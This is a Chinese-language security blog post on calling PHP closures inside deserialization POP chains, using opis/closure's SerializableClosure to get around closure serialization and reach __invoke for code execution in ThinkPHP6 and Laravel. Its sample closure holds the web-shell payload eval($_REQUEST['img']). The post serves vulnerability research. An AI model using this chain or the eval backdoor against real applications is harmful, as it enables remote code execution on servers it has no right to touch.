php匿名函数在pop链中的调用

初始匿名函数及其调用

创建一个匿名函数(闭包函数)

1
2
3
$fun = function(){phpinfo();};
$fun();
call_user_func($fun);

1612859540586

哇,可以这样写,那岂不是,在反序列化利用链构造时,调用一个写的匿名函数,可以直接任意代码执行

其实不是的

eq:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$a = function(){
eval($_REQUEST['img']);
};
// call_user_func($a);
class A{
protected $b;
public function __construct($fun){
$this->b = $fun;
}
public function __destruct(){
call_user_func($this->b);
}
}

$obj = serialize(new A($a));
echo base64_encode($obj);

可以看到报错,类似这种闭包的是不允许被序列化的

1612859767656

那么就完全没办法利用了么

thinkphp6laravel中都引入了一个第三方库

opis/clouse

其中的SerializableClosure类重写了序列化和反序列化的方法

1612860112581

而其构造方法就是实例化了一个闭包的对象

1
2
3
4
5
6
7
8
public function __construct(Closure $closure)
{
$this->closure = $closure;
if (static::$context !== null) {
$this->scope = static::$context->scope;
$this->scope->toserialize++;
}
}

之前看过关于说它的安全密钥securityProvider的问题

其实只要没有设置这个值就可以

其利用方式也相对比较简单

  • composer require opis/closure
  • 然后需要在生成poc的时候自动加载这个第三方库
    • require "./vendor/autoload.php";
  • 再就是利用了

在上面的哪个类中存在一个__invoke方法

可以调用任意的方法

1612860488453

__invoke会在什么时候被触发呢

把一个对象当成方法调用时即可

  • $fun() // fun是个对象即可触发这个对象中的__invoke方法

而这里关于安全密钥的验证

1612860655578

只有你在序列化的时候设置了密钥才会验证

反序列化的时候如果不存在密钥,同样也会有elseif分支

1612860730989

结合thinkphp6的一个中间节点,比如

1612860819046

$serialize设置成刚才的哪个类

即可触发__invoke方法

实验结果

1612860874048

end

poc已同步更新